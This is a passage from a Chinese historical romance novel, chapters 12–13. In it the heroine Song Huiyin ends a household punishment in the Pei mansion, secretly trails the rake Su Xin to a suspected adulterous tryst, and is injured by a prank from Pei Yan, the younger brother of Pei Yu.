不过三大板下去,那婢女已然受不住,指着贺佳莹道:“奴招!都是贺女郎指使的,昨日贺女郎找到奴婢,吩咐奴婢今日未时等候在此处救她!那金链是贺女郎赏的,不是奴偷的!” “你胡说,姨母,她胡说,一定宋徽音在陷害我。”贺佳莹跪在裴夫人面前,矢口否认。 裴夫人看着她急忙辩解的表情,心中酸涩难捱,她不是傻子,早就知道贺佳莹心术不正,可这些年,她是真心将她当作女儿疼爱。 陶媪见裴夫人还在摇摆不定,站出来主持公道,她肃声道:“贺女郎,你不惜自己性命也要诬陷旁人,事后仍不知悔改,奴婢僭越,替女君好生管教管教你!” “来人,将贺女郎拉下去,我亲自掌刑!” 候在一旁的两个粗壮仆妇一左一右的拉住贺佳莹,将她拉离裴夫人身边,压在地上跪住 贺佳莹哭的撕心裂肺,拽着裴夫人的衣角不停念叨祈求:“姨母救救我,救救我!” 陶媪居高临下看着被制在地上的贺佳莹,严厉的面容浮现:“按裴府家规,女郎无故生事构陷她人,苔二十。” 她举起厚重的戒尺,抽在贺佳莹白皙的脸颊上,不过一苔,贺佳莹脸色迅速泛起红痕。 徽音不由的退后一步,万万没想到裴府的家规居然是苔脸,这二十苔下去,贺佳莹必然容色必然有损。 几道风声传来,贺佳莹的哭声已经湮灭,取而代之的是她的哀叫声。 数十苔下去,贺佳莹已无力发声,嘴角缓缓溢出两道鲜血,脸蛋肿得老高。 裴夫人再也忍不住,护犊子般拦在贺佳莹面前,对着陶媪怒道:“本夫人才是裴家当家作主的人,现在本夫人命令你,不许再打她!” 她怒目圆睁,将贺佳莹死死护在身后,眼角溢出泪。 陶媪自然不会对裴夫人动手,她那张波澜不惊的脸上照样没有表情,只肃声道:“女君真要为了维护她,不顾裴府的规矩,不顾自己裴氏夫人的脸面吗?” 陶媪躬身向宫中椒房殿的方向行了个礼,“如若女君坚持要包庇贺女郎,奴自然无怨言,只是此事奴一定会原原本本禀告给宫中皇后娘娘!” 裴夫人一口银牙咬碎,她直起身斥道:“你这是在威胁我?” 陶媪面无表情抬手称不敢。两人立在院中对视,一时间谁也不让谁。 就在这时,倒地不起的贺佳莹拉住裴夫人的衣角,痛苦的摇头,言语不清:“姨母……您让她……罚我吧。” 滚落的泪珠粘在脸颊处,带起一阵火辣辣的疼痛,贺佳莹只感觉嘴中满是铁锈味,她知道,今日她一定得认罚。 不然陶媪将此事报给裴后,以裴后眼底不容沙子的性子,一定会勒令裴夫人将她送走,她不要再回去过那种吃不饱穿不暖的日子。 她困难的撑起身体,祈求的看着陶媪,艰难的发声:“我认错……我认罚……我不该嫉妒心重……您继续打我吧。” 裴夫人泣不成声,守在一旁的乔媪也面露不忍,扶着裴夫人进屋,不忍她看见贺佳莹的惨状。 陶媪面带笑容,看在贺佳莹眼中确如同索命的阎罗,她叹息道:“女郎,只愿你长个教训,莫要再犯。” 她高高抬手,贺佳莹害怕的闭上眼,握紧拳头,等待那重重的一苔落下。 12. 第 12 章 “陶媪。” 突如其来的的声音吸引所有人的注意,连回房的裴夫人都停下脚步。 徽音低头看了眼凄惨的贺佳莹,不卑不亢的走上前,“您德高望重,被皇后娘娘派来协助夫人理家,可到底夫人才是裴府真正的主子,不是吗?” 陶媪眯起眼,瞬间明白徽音的心思,她问道:“宋娘子,今日这出你才是受害者,如若未查明真相,此刻在地上受刑的就是你。若是你受刑,只怕我将你打死,都不会有人心软替你求情啊。” “不是尚未发生吗?”徽音反问。 陶媪不明所以,她疑惑的看着徽音。却见那如玉女郎扶起地上站不稳的贺佳莹,将她塞到身后担忧的疏影怀中。 而后,她听见徽音的声音,徽音似是在跟她讲,又似是在跟贺佳莹讲:“尚未发生之事,我从不会去想。我做事,只看当下,凭心而行。” 陶媪看见徽音转头浅笑的看着她,吐出的话语却如千斤重。 “夫人是裴府的当家主母,我们所有人的去留,处罚她都能管。夫人是皇后娘娘的嫂嫂,裴将军的生身母亲,她亦是这裴府最为尊贵之人,她虽不怎么管事,但这后宅却是夫人说了算,即便是皇后娘娘,也不能不顾夫人的脸面,陶媪,你说是吗?” 陶媪垂头不语,徽音这话表面上是在提醒,可内里分明是在敲打她,敲打她身为奴仆,却越过府内女君做主。她又想起少将军离去前曾对她言,女君性子软,请她多担待。 这话乍一听没有什么,可细细想想,却和徽音之语有异曲同工之妙,都是在敲打她,要尊女君为首。 陶媪瞬间惊出冷汗,是啊,她一直仗着是皇后赐下,到了裴府后也一直自得,经常越过女君做主事宜。女君性子不重内务,会由着她,可少将军会容忍一个仆妇欺在他母亲头上? 何况她已经出宫,无论无何是回不到皇后身边了,以后怕是要老死在裴家,万万不能得罪女君和少将军。 想明其中关窍,陶媪放下手中的苔板,恭敬的向裴夫人下跪行礼,“女君恕罪,奴婢逾距,请您责罚。” 裴夫人愣愣的看着她,又转头看向徽音,嘴巴动了动,却不知道该说什么。 徽音叹了口气,走到她身边提醒:“陶媪也是为着裴府,何谈有罪?” 裴夫人立刻接话道:“是啊是啊,这些年,若不是你帮衬着,裴府不定还要乱套了呢。”她擦着额头的细汗,偷偷在衣袖下瞄着徽音。 徽音:“……”她实在难以想象裴夫人这样的软和性子如何会养出裴彧那样的锋利的儿郎。 她示意裴夫人看向带伤的贺佳莹。裴夫人明白过来后又道:“今日确实是佳莹有错,该罚!只是这二十苔下去非得破她的相不可,一个女娘若是脸上带伤,那可是天大的事情。依我看,她今日已经长了教训,这剩下的苔刑就免了,改为禁足一月。” 裴夫人语气变得严厉起来,她看着贺佳莹道:“若再犯,姨母不会保你,你就收拾行囊回益州老家去罢。” 贺佳莹不顾身后疏影的帮扶,推开她跪在地上,泣道:“姨母放下,佳莹谨记,必不会再犯了。” 陶媪也点点头,裴夫人这模样,还当真有几分当家主母的气势。 徽音站在一旁,从头到尾见识到这场闹剧的落幕,在陶媪一顿恩威并施下,院内的婢女纷纷吓得白了脸色,连连发誓不会将今日的事情透露出去半分。 裴夫人看着徽音惨白的脸色,心中顿时觉得对不住她,她拉着徽音的手掌柔声道:“好孩子,委屈你了,你放心,我定会好好补偿你。可怜见的,这脸色怎么白成这样,快快回去休息!” 徽音下意识抬手了摸了把脸,低头一看,纤细的手指上裹着细腻的铅粉,她连忙背手在衣裙上擦了擦,还好裴夫人未曾摸她的脸,差点露馅。 裴夫人忙着给贺佳莹请大夫看伤,并未注意到徽音的小动作的。倒是陶媪慧眼如炬,看穿了徽音的把戏。 她没有拆穿,而是上前福身行礼,“早就听皇后娘娘说宋娘子聪慧万分,今日一见果然非同凡响。若非您即使点醒,只怕奴婢还蒙在鼓里。” 徽音见她并没有被冒犯后的生气,反而真心实意道谢,她瞬间松了口气。今日这一出戏她玩了手将计就计,摆平贺佳莹的同时也收拢了裴夫人的心。 只是陶媪一事出乎意料,她在看见陶媪和裴夫人对峙时便觉得不对,裴彧对他母亲的重视有目共睹,又怎会容忍旁人压在裴夫人头上。 她见陶媪气度非凡,又是宫中裴后赐下,这才冒着风险出言,想要点醒她。好在裴后身边的人都不是蠢人,她不过多言两句就全明白了。 徽音也同样向陶媪回礼,“不敢,不过是占了口舌之便。” 陶媪看着面前亭亭似月,嬿婉如春的少女,不禁感叹,有这份才智和心胸,不论徽音身处何处,总有扶摇之上的一天。 她也明白了裴后为何要不顾陛下意见,要定徽音为太子妃,不是看重她的身世,而是看重她这个人。 回去的路上,徽音一扫往日的阴霾,久违的现了笑意,她脚步轻盈灵动,如风似柳。颜娘仿佛看见从前无忧无虑的徽音,少女神采飞扬,叫人不忍打扰。 徽音摘了朵暖房坛中开得正盛的芍药,抬手别在发髻右侧,欢快的问颜娘:“我这般,好看吗?” 颜娘眼含温柔,少女衣着素雅,头上只挽了个单髻,两侧头发柔柔的垂在耳边,随微风扬起。 发髻那朵艳丽的芍药丝毫夺不走她五官的秀丽,她忙不迭称道:“奴婢没有读过多少书,此刻借先人一语,若非瑶台仙子降,怎教芍药掩芳尘!” 她边念边摇头晃脑的模样逗笑徽音,徽音亲密的挽着颜娘的手臂,状似苦恼的抱怨:“傅母你就会恭维我!” 颜娘摸着徽音如同绸缎般的秀发,问出心中疑虑:“方才是怜悯那贺佳莹吗?” 徽音望向远处高飞的翠鸟,眼神飘远:“我并非以德报怨之人,她那般欺我,受教训是自找的。裴夫人爱重她,而我也需要获得裴夫人的欢心,今日若真是将她打出问题来了,你说裴夫人是怪陶媪还是怪我?” 颜娘没回,自然是怪徽音,人心都是偏的。 两人才回了临水阁,就有一大群婢女捧着托盘鱼贯而入,裴夫人身边的春分恭敬道:“宋娘子,这是女君为您置办的衣裳和首饰,您看看?若有不合心意的尽管开口。” 徽音细数过去,共有十二件制好的成衣曲裾,颜色鲜艳绣工出众,料子用的都是上好的蜀锦,一看就知是京中最大的成衣坊羽衣阁所制。 她抬手摸摸镶嵌东珠的珠钗问道:“我只是妾,这些是否太逾矩了。” 春分讨好道:“宋娘子可别说这话,您如今是女君和少将军的心头肉,这是自然是当的的。” 若是从前的徽音看见这些珠宝华服,自然会欣喜万分。可现在的她看着这些心中丝毫不起波澜,她敷衍的点点头,吩咐颜娘将东西收下。 春分见徽音神色淡淡,疑心 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“方才女君院中的春分来过,让奴婢将此物转给。还留有一句话,女君赐下内院腰牌,凭此令可以进出府邸,差遣马房,调动府内近卫陪侍。” “知晓了,下去吧。”徽音拿过腰牌端详,这纹饰有些耳熟,她好像在哪里见过,一时间想不起来了。 昨夜也未曾休憩好,不过戌时,徽音便感觉到困顿,一直注意她的颜娘起身收拾书案,催促道:“时候不早了,连着几日未曾休息好,眼下还带着青黑,快去休憩罢。” 徽音抬手掩住哈欠,眯着眼摸上床榻,颜娘细心的整理她身侧的被褥,伸手在徽音额头摸了摸,轻声道:“好梦。” 她熄了灯火,慢慢退出屋外,脚步声慢慢远行。徽音陷入沉睡,她梦见了一个不可能梦见的人。 那是选妃宴上的事,因着皇后娘娘曾私下透露出定她为太子妃的消息,整场宴席她都被人环绕恭维,好不容易脱身找了个清净地方偷懒。 徽音躺在花圃内的秋千上悠闲的晒着太阳,忽闻前方才来动静,她撑起身看去。两名男子一前一后的走进不远处的凉亭内,其中一个她认识,是这次宴席的主角太子殿下。 另一人背对着她,身姿修长,气度不凡,劲瘦的腰间佩着一块兽纹腰牌,纹路古朴形状奇异。他肆意的卧在亭廊内,同旁人叙话。 从她的角度只能看见那男子被玄色衣袍勾勒的劲瘦腰身,亭内曲水流觞,酒香四溢。 徽音听见他慵懒的声音,脱口的话却异常恶劣,他对着正坐的太子道:“姑母说那宋徽音聪慧,识大体,堪当太子妃之位,今日一见,不过尔尔,是个空有容貌的俗人。” 徽音手中的芍药花被她一把掐断,她伏身听着,姑母,又和太子如此熟稔,除了那位少年杀神还能有谁。 早先听闻他战功彪悍,勇冠三军,她还当他是个少年英雄颇为仰慕。如今看来,这人实在过分,私下随意点评其他女娘,也不照照镜子看看他自己又好到哪里去。 徽音伏在花圃内听着,半响,她听见太子替她发声:“表兄,不可妄议女子!宋女郎孤见过几次,她并非你说的那样不堪。” 他二人剩下的谈论徽音没有听清,但那句“不过尔尔”让她对那道慵懒的语调记忆深刻。 她对裴彧的初印象便是此人乖张肆意,无半点君子之风,乃是她生平最讨厌的人之一。 13. 第 13 章 翌日一早,徽音久违了睡了个好觉,若非昨夜梦到裴彧,只怕她会睡得更香。 她在柔软的被衾里眯了一会,起身下榻推开木窗,天气回暖,温暖的阳光洒满整个内室。 颜娘端来热水,徽音将手浸在铜盆内洗净,从昨日送来的成衣中挑了件藕粉曲裾,蔓草花纹典雅,曲裾下摆层层叠叠,行走间云裾缓移。 用过早饭,徽音带着颜娘去了正阳院,贺佳莹脸上的伤不轻,躲在房中不肯见人。徽音向裴夫人说明来意,她想回被抄没的宋家看看。 裴夫人自是无有不应,还细细嘱咐她多带些侍卫,以免被冲撞。 裴府的马车奢华宽大,威仪不凡,徽音不想引人注意,只带了两个侍卫,挑了辆寻常的顶盖青木马车,朝着西南方驶去。 马车绕着宋府转了一圈,如今的宋府已经被陛下赐给了旁人,府门前的木匾上写着樊宅二字。 徽音深深凝视这座承载她喜怒哀乐的府邸,外宅已被樊家拆除翻新,只剩东北角方向的阁楼还保存完好,那是她以前最喜欢的地方。 良久,徽音撤下车帘,吩咐马夫驾车绕路去东市十方街,东西市靠近横门和雍门,是长安城内最繁华的地段。 临近午时,就近找了一间靠近河道的食肆用饭,徽音要了一间二楼厢房,偷偷带着颜娘从后门溜出,甩开裴府侍卫。 她今日的目标是春巷,城内最大的烟花酒巷,几乎所有的销金窟都坐落在这里,门庭若市,即便是白日也依旧人多。 徽音两人带着幕离,等在群芳花楼外的茶楼,按照往常惯例,今日是太学休沐日,依那人的性子必要来此处寻欢作乐。 没有让她们等太久,不过半刻钟,就有一少年郎叫楼内乐妓驾着出来,他脚步虚浮,口口不知在嚷嚷什么。 等候良久的奴仆在看见他的身影后簇拥上前,却被他一掌挥开,骂骂咧咧的赶走。 剩他一人落单,混在人群中一路向东,徽音两人远远的坠在他身后,跟着他的脚步拐进一条幽静小巷。 少年停在一处矮脚院落前,人虽然醉酒,却依旧警惕,回头观望是否有人跟踪。 那张邪气肆意的面容露出,赫然是那日在城外拦截徽音,害宋景川坠崖的苏信。苏信并未察觉异样,一个哨子翻身跳进矮脚院落。 在他身后不远处的香囊摊子上,徽音掀起幕离,打量面前的街道小巷,道路铺设卵石,周边干净整洁。 坐落在闹市的小巷中,这一处聚集不少院落,内置三四间房屋,不同于宣平门的夯土房,此处青砖陶瓦,上好的木材做梁,不是寻常百姓能住得起的,应是城内小官的居所。 她带着颜娘上前,进入巷道后一片幽静,只听得见几声市道的吆喝,不见行人。 徽音蹲在压得严实的黄土墙角支起耳朵细听。颜娘紧张的拦在徽音身前,深怕有人经过发现她们做贼的行径。 离得太远,徽音只能听见一些细碎的呻吟,她将脸蛋贴在土墙上,听见里头女子悲哀的哭泣和男子粗重的喘息声。 隔墙听不太清晰,徽音站起身丈量这堵黄墙的高度,约莫一人半高。 她转头环视一圈,发现对邻的墙屋脚下有几块散乱的青砖。 两人来来回回跑了几趟,将青砖整齐的码在墙角,徽音站在青砖上,踮起脚刚刚能看到院中。 屋内的动静比方才在墙外听着要大许多,徽音凝神片刻,终是听清了,那男子是苏信的声音无疑,他嗓子沙哑,喘息中夹杂几句淫语。 女子声音很小,徽音没听见她说话,只听见她一直在哭。 街道口传来马车“嗒嗒”的声音,徽音站起身,拉着颜娘绕出小巷。时辰不早了,再耽搁下去侍卫估计要起疑心,好在今日有些收获。 回府的路上,颜娘撵着帕子擦拭徽音脸上蹭的土灰,询问徽音听见了什么。 徽音有些不好意思的接过颜娘手中的帕子盖在脸上,瓮声瓮气:“男女苟且之事。” 颜娘面露鄙夷,不想这些污遭事污了徽音的耳,不再多问什么。 徽音靠在马车上闭眼小憩,良久,她脑中似乎闪过什么,抓住颜娘问道:“方才透过那院墙,我似乎瞧见墙下晾着不少男人的深衣,难道那女子是有夫之妇?” 颜娘先是一愣,而后神情激动起来,“娘子,私通罪可大可小,轻则流放名声尽毁,重则判处死刑!我们可以为小郎君报仇了!” 徽音倾身捂住颜娘的嘴,轻轻摇头,示意她看向车外的侍卫,裴府之人她尚不能完全信任。 她捂着砰砰跳的胸口轻声道:“不能操之过急,苏家势大,若没有万全之策不能动手。当务之急要先查明那女子的身份,还有她的郎婿是何人。” 两人平复心情回到裴府,刚进府门便看见早已等候多时的春分,她看见徽音立马迎上来,一脸急意:“宋娘子您可回来了,女君请您过去一趟,您快随奴婢走一趟吧。” 徽音询问:“出了何事?” 春分回道:“今日女君请了太医令替贺女郎看伤,太医令说脸上可能会留疤,贺女郎便……” 她剩下的话徽音也能猜到,无非贺佳莹是一哭二闹三上吊,裴夫人没了办法,又不敢找陶媪,只好请她过去看看。 还没到正阳院,就听见贺佳莹哭闹的声音穿破云层,徽音揉着耳朵,心中涌起厌烦。 她推门进去时,贺佳莹正趴在地上撕心裂肺的哭嚎,裴夫人在旁边急得跟热锅上的蚂蚁一般团团转,几个婢女伏跪在地上劝。 徽音冷眼看着乱作一团的内室,双手笼在袖中,静悄悄的站在门口看戏。 还是疏影实在看不过去,跪在徽音面前求哭:“宋娘子,您劝劝我家女郎吧,昨日之事都是奴婢的不是,奴婢给您磕头赔罪,求您原谅!” 她砰砰几下磕在地上,声音清脆,没两下额头红肿不堪,徽音来不及阻止,只能拉住她的手将人拖着,语气平淡:“你先 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贺佳莹楞在原地,刚刚蓄满泪的眼眶又被她奋力挤眼弄了回去,她掏出袖中的帕子,小心的凑在铜镜前擦拭泪痕,边擦边道:“我才不会让你如意!” 裴夫人见状感激的看了徽音一眼,端起上好的伤药凑上前,心疼的抹在她脸上安慰道:“太医令说了,只要好生养着,疤痕一定能消散的。若实在不成,姨母就是豁出这张老脸也要去宫里给你求来雪肤玉肌膏。” 贺佳莹嘴角一瘪,又要流泪。 徽音不紧不慢补上一句:“还哭?” 贺佳莹瑟缩的跪坐在锦席上,愤恨的望着徽音,不敢再哭。 两个字将人吓倒,屋内伺候的仆妇面面相觑,这还是往日那个飞扬跋扈贺娘子吗? 见事情已经解决,徽音也不想再逗留,她悄悄出了院门,带着颜娘离开。 徽音和颜娘走到廊道尽头,她提起裙摆准备下楼梯时,突有破空声音传来,一枚小石子打在她的膝盖处,带起钻心的痛意。 她膝盖一软,整个人跌落倒地,手掌狠狠的蹭在道路旁的碎石上,鲜血淋漓。 颜娘扶着徽音起身,看清她血肉模糊的掌心,伤口里头还嵌着碎石,她忍不住的心疼。 “哈哈哈哈!”假山上探出一个人影,裴彧见与裴彧极为相似,容貌艳丽,五官出众,撑着手臂指着徽音狂笑。 颜娘怒极:“哪里来的小子,敢在裴府撒野!” “哼!”那少年动作敏捷,单手撑着假山石,一个翻身落在地上,右手捻着石子,左手用力拉开弓,对准徽音的脑袋,冷笑:“这是我家,我想做什么便做什么,你又是哪里来的老媪,连我都不识!” “你……” 徽音拉住颜娘,她右腿疼痛难忍,站都站不稳,手掌处火辣辣的疼着,额间都冒上细汗,她看着那少年的打扮和言语,已经猜到他是谁了。 裴彧的幼弟,裴衍。